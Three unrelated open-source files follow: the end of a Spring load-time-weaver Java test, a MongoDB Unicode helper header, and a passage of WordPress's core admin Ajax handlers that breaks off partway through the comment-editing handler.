public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
return "CAFEDEAD".getBytes();
}
});
assertThat(classLoader.getNumTimesGetThrowawayClassLoaderCalled()).isEqualTo(1);
}
@Test
public void testAddTransformerWithNullTransformer() {
assertThatIllegalArgumentException().isThrownBy(() ->
new ReflectiveLoadTimeWeaver(new JustAddTransformerClassLoader()).addTransformer(null));
}
@Test
public void testGetThrowawayClassLoaderWithClassLoaderThatDoesNotExposeAGetThrowawayClassLoaderMethodYieldsFallbackClassLoader() {
ReflectiveLoadTimeWeaver weaver = new ReflectiveLoadTimeWeaver(new JustAddTransformerClassLoader());
ClassLoader throwawayClassLoader = weaver.getThrowawayClassLoader();
assertThat(throwawayClassLoader).isNotNull();
}
@Test
public void testGetThrowawayClassLoaderWithTotallyCompliantClassLoader() {
TotallyCompliantClassLoader classLoader = new TotallyCompliantClassLoader();
ReflectiveLoadTimeWeaver weaver = new ReflectiveLoadTimeWeaver(classLoader);
ClassLoader throwawayClassLoader = weaver.getThrowawayClassLoader();
assertThat(throwawayClassLoader).isNotNull();
assertThat(classLoader.getNumTimesGetThrowawayClassLoaderCalled()).isEqualTo(1);
}
public static class JustAddTransformerClassLoader extends ClassLoader {
private int numTimesAddTransformerCalled = 0;
public int getNumTimesGetThrowawayClassLoaderCalled() {
return this.numTimesAddTransformerCalled;
}
public void addTransformer(ClassFileTransformer transformer) {
++this.numTimesAddTransformerCalled;
}
}
public static final class TotallyCompliantClassLoader extends JustAddTransformerClassLoader {
private int numTimesGetThrowawayClassLoaderCalled = 0;
@Override
public int getNumTimesGetThrowawayClassLoaderCalled() {
return this.numTimesGetThrowawayClassLoaderCalled;
}
public ClassLoader getThrowawayClassLoader() {
++this.numTimesGetThrowawayClassLoaderCalled;
return getClass().getClassLoader();
}
}
}
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (C) 2015 MongoDB Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License, version 3,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* As a special exception, the copyright holders give permission to link the
* code of portions of this program with the OpenSSL library under certain
* conditions as described in each individual source file and distribute
* linked combinations including the program with the OpenSSL library. You
* must comply with the GNU Affero General Public License in all respects for
* all of the code used other than as permitted herein. If you modify file(s)
* with this exception, you may extend this exception to your version of the
* file(s), but you are not obligated to do so. If you do not wish to do so,
* delete this exception statement from your version. If you delete this
* exception statement from all source files in the program, then also delete
* it in the license file.
*/
#pragma once
#include <string>
namespace mongo {
namespace unicode {
/**
* There are currently two options supported for the delimiter list. The only difference between the
* English and NotEnglish modes is that in English, the apostrophe is considered a delimiter, while
* in NotEnglish, it is not.
*/
enum class DelimiterListLanguage {
kEnglish,
kNotEnglish,
};
/**
* There are currently two Case folding modes supported. The only difference between the Normal mode
* and the Turkish mode is that in the Turkish mode, the letter I is lowercased to ı, and the letter
* İ is lowercased to i. In the normal mode, the letter I is lowercased to i, and there is no
* mapping for İ.
*/
enum class CaseFoldMode {
kNormal,
kTurkish,
};
/**
* Returns whether or not the given codepoint is a diacritic. In 'D' normalized Unicode text,
* diacritics are removed by removing characters with these codepoints.
*/
bool codepointIsDiacritic(char32_t codepoint);
/**
* Returns whether or not the given codepoint is considered a delimiter in the language 'lang'.
* Currently, there is only a difference between English and non-English languages (the apostrophe).
* To see which Unicode character categories were considered delimiters, see gen_delimiter_list.py.
*/
bool codepointIsDelimiter(char32_t codepoint, DelimiterListLanguage lang);
/**
* Return a version of the given codepoint without any diacritics. These mappings are generated by
* taking all of the characters within a set of Unicode code blocks (see gen_diacritic_map.py to see
* which code blocks are used), decomposing them to the NFD normalization form, removing any
* combining marks, and renormalizing them to the NFC form. The result is a mapping from original
* codepoint to a codepoint with no diacritics.
*
* Returns 0 if codepoint is a pure diacritic mark (ie if codepointIsDiacritic() would return true).
* You will need to distinguish this case from the input codepoint being 0 either by explicit
* checking or avoiding a call to this function if codepoint is in the ASCII range (<0x80).
*/
char32_t codepointRemoveDiacritics(char32_t codepoint);
/**
* Return the lowercased version of the given codepoint, applying the special Turkish version of
* case folding if specified.
*/
char32_t codepointToLower(char32_t codepoint, CaseFoldMode mode = CaseFoldMode::kNormal);
} // namespace unicode
} // namespace mongo
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* WordPress Core Ajax Handlers.
*
* @package WordPress
* @subpackage Administration
*/
/*
* No-privilege Ajax handlers.
*/
/**
* Heartbeat API (experimental)
*
* Runs when the user is not logged in.
*/
function wp_ajax_nopriv_heartbeat() {
$response = array();
// screen_id is the same as $current_screen->id and the JS global 'pagenow'
if ( ! empty($_POST['screen_id']) )
$screen_id = sanitize_key($_POST['screen_id']);
else
$screen_id = 'front';
if ( ! empty($_POST['data']) ) {
$data = wp_unslash( (array) $_POST['data'] );
/**
* Filter Heartbeat AJAX response in no-privilege environments.
*
* @since 3.6.0
*
* @param array|object $response The no-priv Heartbeat response object or array.
* @param array $data An array of data passed via $_POST.
* @param string $screen_id The screen id.
*/
$response = apply_filters( 'heartbeat_nopriv_received', $response, $data, $screen_id );
}
/**
* Filter Heartbeat AJAX response when no data is passed.
*
* @since 3.6.0
*
* @param array|object $response The Heartbeat response object or array.
* @param string $screen_id The screen id.
*/
$response = apply_filters( 'heartbeat_nopriv_send', $response, $screen_id );
/**
* Fires when Heartbeat ticks in no-privilege environments.
*
* Allows the transport to be easily replaced with long-polling.
*
* @since 3.6.0
*
* @param array|object $response The no-priv Heartbeat response.
* @param string $screen_id The screen id.
*/
do_action( 'heartbeat_nopriv_tick', $response, $screen_id );
// send the current time according to the server
$response['server_time'] = time();
wp_send_json($response);
}
/*
* GET-based Ajax handlers.
*/
function wp_ajax_fetch_list() {
global $wp_list_table;
$list_class = $_GET['list_args']['class'];
check_ajax_referer( "fetch-list-$list_class", '_ajax_fetch_list_nonce' );
$wp_list_table = _get_list_table( $list_class, array( 'screen' => $_GET['list_args']['screen']['id'] ) );
if ( ! $wp_list_table )
wp_die( 0 );
if ( ! $wp_list_table->ajax_user_can() )
wp_die( -1 );
$wp_list_table->ajax_response();
wp_die( 0 );
}
function wp_ajax_ajax_tag_search() {
global $wpdb;
if ( isset( $_GET['tax'] ) ) {
$taxonomy = sanitize_key( $_GET['tax'] );
$tax = get_taxonomy( $taxonomy );
if ( ! $tax )
wp_die( 0 );
if ( ! current_user_can( $tax->cap->assign_terms ) )
wp_die( -1 );
} else {
wp_die( 0 );
}
$s = wp_unslash( $_GET['q'] );
$comma = _x( ',', 'tag delimiter' );
if ( ',' !== $comma )
$s = str_replace( $comma, ',', $s );
if ( false !== strpos( $s, ',' ) ) {
$s = explode( ',', $s );
$s = $s[count( $s ) - 1];
}
$s = trim( $s );
if ( strlen( $s ) < 2 )
wp_die(); // require 2 chars for matching
$results = get_terms( $taxonomy, array( 'name__like' => $s, 'fields' => 'names', 'hide_empty' => false ) );
echo join( $results, "\n" );
wp_die();
}
function wp_ajax_wp_compression_test() {
if ( !current_user_can( 'manage_options' ) )
wp_die( -1 );
if ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') ) {
update_site_option('can_compress_scripts', 0);
wp_die( 0 );
}
if ( isset($_GET['test']) ) {
header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
header( 'Pragma: no-cache' );
header('Content-Type: application/x-javascript; charset=UTF-8');
$force_gzip = ( defined('ENFORCE_GZIP') && ENFORCE_GZIP );
$test_str = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."';
if ( 1 == $_GET['test'] ) {
echo $test_str;
wp_die();
} elseif ( 2 == $_GET['test'] ) {
if ( !isset($_SERVER['HTTP_ACCEPT_ENCODING']) )
wp_die( -1 );
if ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) {
header('Content-Encoding: deflate');
$out = gzdeflate( $test_str, 1 );
} elseif ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && function_exists('gzencode') ) {
header('Content-Encoding: gzip');
$out = gzencode( $test_str, 1 );
} else {
wp_die( -1 );
}
echo $out;
wp_die();
} elseif ( 'no' == $_GET['test'] ) {
update_site_option('can_compress_scripts', 0);
} elseif ( 'yes' == $_GET['test'] ) {
update_site_option('can_compress_scripts', 1);
}
}
wp_die( 0 );
}
function wp_ajax_imgedit_preview() {
$post_id = intval($_GET['postid']);
if ( empty($post_id) || !current_user_can('edit_post', $post_id) )
wp_die( -1 );
check_ajax_referer( "image_editor-$post_id" );
include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
if ( ! stream_preview_image($post_id) )
wp_die( -1 );
wp_die();
}
function wp_ajax_oembed_cache() {
global $wp_embed;
$return = ( $wp_embed->cache_oembed( $_GET['post'] ) ) ? '1' : '0';
wp_die( $return );
}
function wp_ajax_autocomplete_user() {
if ( ! is_multisite() || ! current_user_can( 'promote_users' ) || wp_is_large_network( 'users' ) )
wp_die( -1 );
/** This filter is documented in wp-admin/user-new.php */
if ( ! is_super_admin() && ! apply_filters( 'autocomplete_users_for_site_admins', false ) )
wp_die( -1 );
$return = array();
// Check the type of request
// Current allowed values are `add` and `search`
if ( isset( $_REQUEST['autocomplete_type'] ) && 'search' === $_REQUEST['autocomplete_type'] ) {
$type = $_REQUEST['autocomplete_type'];
} else {
$type = 'add';
}
// Check the desired field for value
// Current allowed values are `user_email` and `user_login`
if ( isset( $_REQUEST['autocomplete_field'] ) && 'user_email' === $_REQUEST['autocomplete_field'] ) {
$field = $_REQUEST['autocomplete_field'];
} else {
$field = 'user_login';
}
// Exclude current users of this blog
if ( isset( $_REQUEST['site_id'] ) ) {
$id = absint( $_REQUEST['site_id'] );
} else {
$id = get_current_blog_id();
}
$include_blog_users = ( $type == 'search' ? get_users( array( 'blog_id' => $id, 'fields' => 'ID' ) ) : array() );
$exclude_blog_users = ( $type == 'add' ? get_users( array( 'blog_id' => $id, 'fields' => 'ID' ) ) : array() );
$users = get_users( array(
'blog_id' => false,
'search' => '*' . $_REQUEST['term'] . '*',
'include' => $include_blog_users,
'exclude' => $exclude_blog_users,
'search_columns' => array( 'user_login', 'user_nicename', 'user_email' ),
) );
foreach ( $users as $user ) {
$return[] = array(
/* translators: 1: user_login, 2: user_email */
'label' => sprintf( __( '%1$s (%2$s)' ), $user->user_login, $user->user_email ),
'value' => $user->$field,
);
}
wp_die( json_encode( $return ) );
}
function wp_ajax_dashboard_widgets() {
require_once ABSPATH . 'wp-admin/includes/dashboard.php';
$pagenow = $_GET['pagenow'];
if ( $pagenow === 'dashboard-user' || $pagenow === 'dashboard-network' || $pagenow === 'dashboard' ) {
set_current_screen( $pagenow );
}
switch ( $_GET['widget'] ) {
case 'dashboard_primary' :
wp_dashboard_primary();
break;
}
wp_die();
}
function wp_ajax_logged_in() {
wp_die( 1 );
}
/*
* Ajax helper.
*/
/**
* Sends back current comment total and new page links if they need to be updated.
*
* Contrary to normal success AJAX response ("1"), die with time() on success.
*
* @since 2.7.0
*
* @param int $comment_id
* @return die
*/
function _wp_ajax_delete_comment_response( $comment_id, $delta = -1 ) {
$total = isset( $_POST['_total'] ) ? (int) $_POST['_total'] : 0;
$per_page = isset( $_POST['_per_page'] ) ? (int) $_POST['_per_page'] : 0;
$page = isset( $_POST['_page'] ) ? (int) $_POST['_page'] : 0;
$url = isset( $_POST['_url'] ) ? esc_url_raw( $_POST['_url'] ) : '';
// JS didn't send us everything we need to know. Just die with success message
if ( !$total || !$per_page || !$page || !$url )
wp_die( time() );
$total += $delta;
if ( $total < 0 )
$total = 0;
// Only do the expensive stuff on a page-break, and about 1 other time per page
if ( 0 == $total % $per_page || 1 == mt_rand( 1, $per_page ) ) {
$post_id = 0;
$status = 'total_comments'; // What type of comment count are we looking for?
$parsed = parse_url( $url );
if ( isset( $parsed['query'] ) ) {
parse_str( $parsed['query'], $query_vars );
if ( !empty( $query_vars['comment_status'] ) )
$status = $query_vars['comment_status'];
if ( !empty( $query_vars['p'] ) )
$post_id = (int) $query_vars['p'];
}
$comment_count = wp_count_comments($post_id);
if ( isset( $comment_count->$status ) ) // We're looking for a known type of comment count
$total = $comment_count->$status;
// else use the decremented value from above
}
$time = time(); // The time since the last comment count
$x = new WP_Ajax_Response( array(
'what' => 'comment',
'id' => $comment_id, // here for completeness - not used
'supplemental' => array(
'total_items_i18n' => sprintf( _n( '1 item', '%s items', $total ), number_format_i18n( $total ) ),
'total_pages' => ceil( $total / $per_page ),
'total_pages_i18n' => number_format_i18n( ceil( $total / $per_page ) ),
'total' => $total,
'time' => $time
)
) );
$x->send();
}
/*
* POST-based Ajax handlers.
*/
function _wp_ajax_add_hierarchical_term() {
$action = $_POST['action'];
$taxonomy = get_taxonomy(substr($action, 4));
check_ajax_referer( $action, '_ajax_nonce-add-' . $taxonomy->name );
if ( !current_user_can( $taxonomy->cap->edit_terms ) )
wp_die( -1 );
$names = explode(',', $_POST['new'.$taxonomy->name]);
$parent = isset($_POST['new'.$taxonomy->name.'_parent']) ? (int) $_POST['new'.$taxonomy->name.'_parent'] : 0;
if ( 0 > $parent )
$parent = 0;
if ( $taxonomy->name == 'category' )
$post_category = isset($_POST['post_category']) ? (array) $_POST['post_category'] : array();
else
$post_category = ( isset($_POST['tax_input']) && isset($_POST['tax_input'][$taxonomy->name]) ) ? (array) $_POST['tax_input'][$taxonomy->name] : array();
$checked_categories = array_map( 'absint', (array) $post_category );
$popular_ids = wp_popular_terms_checklist($taxonomy->name, 0, 10, false);
foreach ( $names as $cat_name ) {
$cat_name = trim($cat_name);
$category_nicename = sanitize_title($cat_name);
if ( '' === $category_nicename )
continue;
if ( !$cat_id = term_exists( $cat_name, $taxonomy->name, $parent ) )
$cat_id = wp_insert_term( $cat_name, $taxonomy->name, array( 'parent' => $parent ) );
if ( is_wp_error( $cat_id ) )
continue;
else if ( is_array( $cat_id ) )
$cat_id = $cat_id['term_id'];
$checked_categories[] = $cat_id;
if ( $parent ) // Do these all at once in a second
continue;
ob_start();
wp_terms_checklist( 0, array( 'taxonomy' => $taxonomy->name, 'descendants_and_self' => $cat_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids ));
$data = ob_get_contents();
ob_end_clean();
$add = array(
'what' => $taxonomy->name,
'id' => $cat_id,
'data' => str_replace( array("\n", "\t"), '', $data),
'position' => -1
);
}
if ( $parent ) { // Foncy - replace the parent and all its children
$parent = get_term( $parent, $taxonomy->name );
$term_id = $parent->term_id;
while ( $parent->parent ) { // get the top parent
$parent = get_term( $parent->parent, $taxonomy->name );
if ( is_wp_error( $parent ) )
break;
$term_id = $parent->term_id;
}
ob_start();
wp_terms_checklist( 0, array('taxonomy' => $taxonomy->name, 'descendants_and_self' => $term_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids));
$data = ob_get_contents();
ob_end_clean();
$add = array(
'what' => $taxonomy->name,
'id' => $term_id,
'data' => str_replace( array("\n", "\t"), '', $data),
'position' => -1
);
}
ob_start();
wp_dropdown_categories( array(
'taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new'.$taxonomy->name.'_parent', 'orderby' => 'name',
'hierarchical' => 1, 'show_option_none' => '— '.$taxonomy->labels->parent_item.' —'
) );
$sup = ob_get_contents();
ob_end_clean();
$add['supplemental'] = array( 'newcat_parent' => $sup );
$x = new WP_Ajax_Response( $add );
$x->send();
}
function wp_ajax_delete_comment() {
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
if ( !$comment = get_comment( $id ) )
wp_die( time() );
if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) )
wp_die( -1 );
check_ajax_referer( "delete-comment_$id" );
$status = wp_get_comment_status( $comment->comment_ID );
$delta = -1;
if ( isset($_POST['trash']) && 1 == $_POST['trash'] ) {
if ( 'trash' == $status )
wp_die( time() );
$r = wp_trash_comment( $comment->comment_ID );
} elseif ( isset($_POST['untrash']) && 1 == $_POST['untrash'] ) {
if ( 'trash' != $status )
wp_die( time() );
$r = wp_untrash_comment( $comment->comment_ID );
if ( ! isset( $_POST['comment_status'] ) || $_POST['comment_status'] != 'trash' ) // undo trash, not in trash
$delta = 1;
} elseif ( isset($_POST['spam']) && 1 == $_POST['spam'] ) {
if ( 'spam' == $status )
wp_die( time() );
$r = wp_spam_comment( $comment->comment_ID );
} elseif ( isset($_POST['unspam']) && 1 == $_POST['unspam'] ) {
if ( 'spam' != $status )
wp_die( time() );
$r = wp_unspam_comment( $comment->comment_ID );
if ( ! isset( $_POST['comment_status'] ) || $_POST['comment_status'] != 'spam' ) // undo spam, not in spam
$delta = 1;
} elseif ( isset($_POST['delete']) && 1 == $_POST['delete'] ) {
$r = wp_delete_comment( $comment->comment_ID );
} else {
wp_die( -1 );
}
if ( $r ) // Decide if we need to send back '1' or a more complicated response including page links and comment counts
_wp_ajax_delete_comment_response( $comment->comment_ID, $delta );
wp_die( 0 );
}
function wp_ajax_delete_tag() {
$tag_id = (int) $_POST['tag_ID'];
check_ajax_referer( "delete-tag_$tag_id" );
$taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag';
$tax = get_taxonomy($taxonomy);
if ( !current_user_can( $tax->cap->delete_terms ) )
wp_die( -1 );
$tag = get_term( $tag_id, $taxonomy );
if ( !$tag || is_wp_error( $tag ) )
wp_die( 1 );
if ( wp_delete_term($tag_id, $taxonomy))
wp_die( 1 );
else
wp_die( 0 );
}
function wp_ajax_delete_link() {
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
check_ajax_referer( "delete-bookmark_$id" );
if ( !current_user_can( 'manage_links' ) )
wp_die( -1 );
$link = get_bookmark( $id );
if ( !$link || is_wp_error( $link ) )
wp_die( 1 );
if ( wp_delete_link( $id ) )
wp_die( 1 );
else
wp_die( 0 );
}
function wp_ajax_delete_meta() {
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
check_ajax_referer( "delete-meta_$id" );
if ( !$meta = get_metadata_by_mid( 'post', $id ) )
wp_die( 1 );
if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta', $meta->post_id, $meta->meta_key ) )
wp_die( -1 );
if ( delete_meta( $meta->meta_id ) )
wp_die( 1 );
wp_die( 0 );
}
function wp_ajax_delete_post( $action ) {
if ( empty( $action ) )
$action = 'delete-post';
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
check_ajax_referer( "{$action}_$id" );
if ( !current_user_can( 'delete_post', $id ) )
wp_die( -1 );
if ( !get_post( $id ) )
wp_die( 1 );
if ( wp_delete_post( $id ) )
wp_die( 1 );
else
wp_die( 0 );
}
function wp_ajax_trash_post( $action ) {
if ( empty( $action ) )
$action = 'trash-post';
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
check_ajax_referer( "{$action}_$id" );
if ( !current_user_can( 'delete_post', $id ) )
wp_die( -1 );
if ( !get_post( $id ) )
wp_die( 1 );
if ( 'trash-post' == $action )
$done = wp_trash_post( $id );
else
$done = wp_untrash_post( $id );
if ( $done )
wp_die( 1 );
wp_die( 0 );
}
function wp_ajax_untrash_post( $action ) {
if ( empty( $action ) )
$action = 'untrash-post';
wp_ajax_trash_post( $action );
}
function wp_ajax_delete_page( $action ) {
if ( empty( $action ) )
$action = 'delete-page';
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
check_ajax_referer( "{$action}_$id" );
if ( !current_user_can( 'delete_page', $id ) )
wp_die( -1 );
if ( ! get_post( $id ) )
wp_die( 1 );
if ( wp_delete_post( $id ) )
wp_die( 1 );
else
wp_die( 0 );
}
function wp_ajax_dim_comment() {
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
if ( !$comment = get_comment( $id ) ) {
$x = new WP_Ajax_Response( array(
'what' => 'comment',
'id' => new WP_Error('invalid_comment', sprintf(__('Comment %d does not exist'), $id))
) );
$x->send();
}
if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && ! current_user_can( 'moderate_comments' ) )
wp_die( -1 );
$current = wp_get_comment_status( $comment->comment_ID );
if ( isset( $_POST['new'] ) && $_POST['new'] == $current )
wp_die( time() );
check_ajax_referer( "approve-comment_$id" );
if ( in_array( $current, array( 'unapproved', 'spam' ) ) )
$result = wp_set_comment_status( $comment->comment_ID, 'approve', true );
else
$result = wp_set_comment_status( $comment->comment_ID, 'hold', true );
if ( is_wp_error($result) ) {
$x = new WP_Ajax_Response( array(
'what' => 'comment',
'id' => $result
) );
$x->send();
}
// Decide if we need to send back '1' or a more complicated response including page links and comment counts
_wp_ajax_delete_comment_response( $comment->comment_ID );
wp_die( 0 );
}
function wp_ajax_add_link_category( $action ) {
if ( empty( $action ) )
$action = 'add-link-category';
check_ajax_referer( $action );
if ( !current_user_can( 'manage_categories' ) )
wp_die( -1 );
$names = explode(',', wp_unslash( $_POST['newcat'] ) );
$x = new WP_Ajax_Response();
foreach ( $names as $cat_name ) {
$cat_name = trim($cat_name);
$slug = sanitize_title($cat_name);
if ( '' === $slug )
continue;
if ( !$cat_id = term_exists( $cat_name, 'link_category' ) )
$cat_id = wp_insert_term( $cat_name, 'link_category' );
if ( is_wp_error( $cat_id ) )
continue;
else if ( is_array( $cat_id ) )
$cat_id = $cat_id['term_id'];
$cat_name = esc_html( $cat_name );
$x->add( array(
'what' => 'link-category',
'id' => $cat_id,
'data' => "<li id='link-category-$cat_id'><label for='in-link-category-$cat_id' class='selectit'><input value='" . esc_attr($cat_id) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-$cat_id'/> $cat_name</label></li>",
'position' => -1
) );
}
$x->send();
}
function wp_ajax_add_tag() {
global $wp_list_table;
check_ajax_referer( 'add-tag', '_wpnonce_add-tag' );
$post_type = !empty($_POST['post_type']) ? $_POST['post_type'] : 'post';
$taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag';
$tax = get_taxonomy($taxonomy);
if ( !current_user_can( $tax->cap->edit_terms ) )
wp_die( -1 );
$x = new WP_Ajax_Response();
$tag = wp_insert_term($_POST['tag-name'], $taxonomy, $_POST );
if ( !$tag || is_wp_error($tag) || (!$tag = get_term( $tag['term_id'], $taxonomy )) ) {
$message = __('An error has occurred. Please reload the page and try again.');
if ( is_wp_error($tag) && $tag->get_error_message() )
$message = $tag->get_error_message();
$x->add( array(
'what' => 'taxonomy',
'data' => new WP_Error('error', $message )
) );
$x->send();
}
$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => $_POST['screen'] ) );
$level = 0;
if ( is_taxonomy_hierarchical($taxonomy) ) {
$level = count( get_ancestors( $tag->term_id, $taxonomy ) );
ob_start();
$wp_list_table->single_row( $tag, $level );
$noparents = ob_get_clean();
}
ob_start();
$wp_list_table->single_row( $tag );
$parents = ob_get_clean();
$x->add( array(
'what' => 'taxonomy',
'supplemental' => compact('parents', 'noparents')
) );
$x->add( array(
'what' => 'term',
'position' => $level,
'supplemental' => (array) $tag
) );
$x->send();
}
function wp_ajax_get_tagcloud() {
if ( isset( $_POST['tax'] ) ) {
$taxonomy = sanitize_key( $_POST['tax'] );
$tax = get_taxonomy( $taxonomy );
if ( ! $tax )
wp_die( 0 );
if ( ! current_user_can( $tax->cap->assign_terms ) )
wp_die( -1 );
} else {
wp_die( 0 );
}
$tags = get_terms( $taxonomy, array( 'number' => 45, 'orderby' => 'count', 'order' => 'DESC' ) );
if ( empty( $tags ) )
wp_die( $tax->labels->not_found );
if ( is_wp_error( $tags ) )
wp_die( $tags->get_error_message() );
foreach ( $tags as $key => $tag ) {
$tags[ $key ]->link = '#';
$tags[ $key ]->id = $tag->term_id;
}
// We need raw tag names here, so don't filter the output
$return = wp_generate_tag_cloud( $tags, array('filter' => 0) );
if ( empty($return) )
wp_die( 0 );
echo $return;
wp_die();
}
function wp_ajax_get_comments( $action ) {
global $wp_list_table, $post_id;
if ( empty( $action ) )
$action = 'get-comments';
check_ajax_referer( $action );
if ( empty( $post_id ) && ! empty( $_REQUEST['p'] ) ) {
$id = absint( $_REQUEST['p'] );
if ( ! empty( $id ) )
$post_id = $id;
}
if ( empty( $post_id ) )
wp_die( -1 );
$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
if ( ! current_user_can( 'edit_post', $post_id ) )
wp_die( -1 );
$wp_list_table->prepare_items();
if ( !$wp_list_table->has_items() )
wp_die( 1 );
$x = new WP_Ajax_Response();
ob_start();
foreach ( $wp_list_table->items as $comment ) {
if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) )
continue;
get_comment( $comment );
$wp_list_table->single_row( $comment );
}
$comment_list_item = ob_get_contents();
ob_end_clean();
$x->add( array(
'what' => 'comments',
'data' => $comment_list_item
) );
$x->send();
}
function wp_ajax_replyto_comment( $action ) {
global $wp_list_table, $wpdb;
if ( empty( $action ) )
$action = 'replyto-comment';
check_ajax_referer( $action, '_ajax_nonce-replyto-comment' );
$comment_post_ID = (int) $_POST['comment_post_ID'];
$post = get_post( $comment_post_ID );
if ( ! $post )
wp_die( -1 );
if ( !current_user_can( 'edit_post', $comment_post_ID ) )
wp_die( -1 );
if ( empty( $post->post_status ) )
wp_die( 1 );
elseif ( in_array($post->post_status, array('draft', 'pending', 'trash') ) )
wp_die( __('ERROR: you are replying to a comment on a draft post.') );
$user = wp_get_current_user();
if ( $user->exists() ) {
$user_ID = $user->ID;
$comment_author = wp_slash( $user->display_name );
$comment_author_email = wp_slash( $user->user_email );
$comment_author_url = wp_slash( $user->user_url );
$comment_content = trim($_POST['content']);
if ( current_user_can( 'unfiltered_html' ) ) {
if ( ! isset( $_POST['_wp_unfiltered_html_comment'] ) )
$_POST['_wp_unfiltered_html_comment'] = '';
if ( wp_create_nonce( 'unfiltered-html-comment' ) != $_POST['_wp_unfiltered_html_comment'] ) {
kses_remove_filters(); // start with a clean slate
kses_init_filters(); // set up the filters
}
}
} else {
wp_die( __( 'Sorry, you must be logged in to reply to a comment.' ) );
}
if ( '' == $comment_content )
wp_die( __( 'ERROR: please type a comment.' ) );
$comment_parent = 0;
if ( isset( $_POST['comment_ID'] ) )
$comment_parent = absint( $_POST['comment_ID'] );
$comment_auto_approved = false;
$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
// automatically approve parent comment
if ( !empty($_POST['approve_parent']) ) {
$parent = get_comment( $comment_parent );
if ( $parent && $parent->comment_approved === '0' && $parent->comment_post_ID == $comment_post_ID ) {
if ( wp_set_comment_status( $parent->comment_ID, 'approve' ) )
$comment_auto_approved = true;
}
}
$comment_id = wp_new_comment( $commentdata );
$comment = get_comment($comment_id);
if ( ! $comment ) wp_die( 1 );
$position = ( isset($_POST['position']) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1';
ob_start();
if ( isset( $_REQUEST['mode'] ) && 'dashboard' == $_REQUEST['mode'] ) {
require_once( ABSPATH . 'wp-admin/includes/dashboard.php' );
_wp_dashboard_recent_comments_row( $comment );
} else {
if ( isset( $_REQUEST['mode'] ) && 'single' == $_REQUEST['mode'] ) {
$wp_list_table = _get_list_table('WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
} else {
$wp_list_table = _get_list_table('WP_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
}
$wp_list_table->single_row( $comment );
}
$comment_list_item = ob_get_clean();
$response = array(
'what' => 'comment',
'id' => $comment->comment_ID,
'data' => $comment_list_item,
'position' => $position
);
if ( $comment_auto_approved )
$response['supplemental'] = array( 'parent_approved' => $parent->comment_ID );
$x = new WP_Ajax_Response();
$x->add( $response );
$x->send();
}
function wp_ajax_edit_comment() {
global $wp_list_table;
check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' );
$comment_id = (int) $_POST['comment_ID'];
if ( ! current_user_can( 'edit_comment', $comment_id ) )
wp_die( -1 );
if ( '' == $_POST['content'] )
wp_die( __( 'ERROR: please type a comment.' ) );
if ( isset( $_POST['status'] ) )
$_POST['comment_status'] = $_POST['status'];
edit_comment();
$position = ( isset($_POST['position']) && (int) $_POST['position']) ? (int) $_POST['position'] : '-1';
$comments_status = isset($_POST['comments_listing']) ? $_POST['comments_listing'] : '';
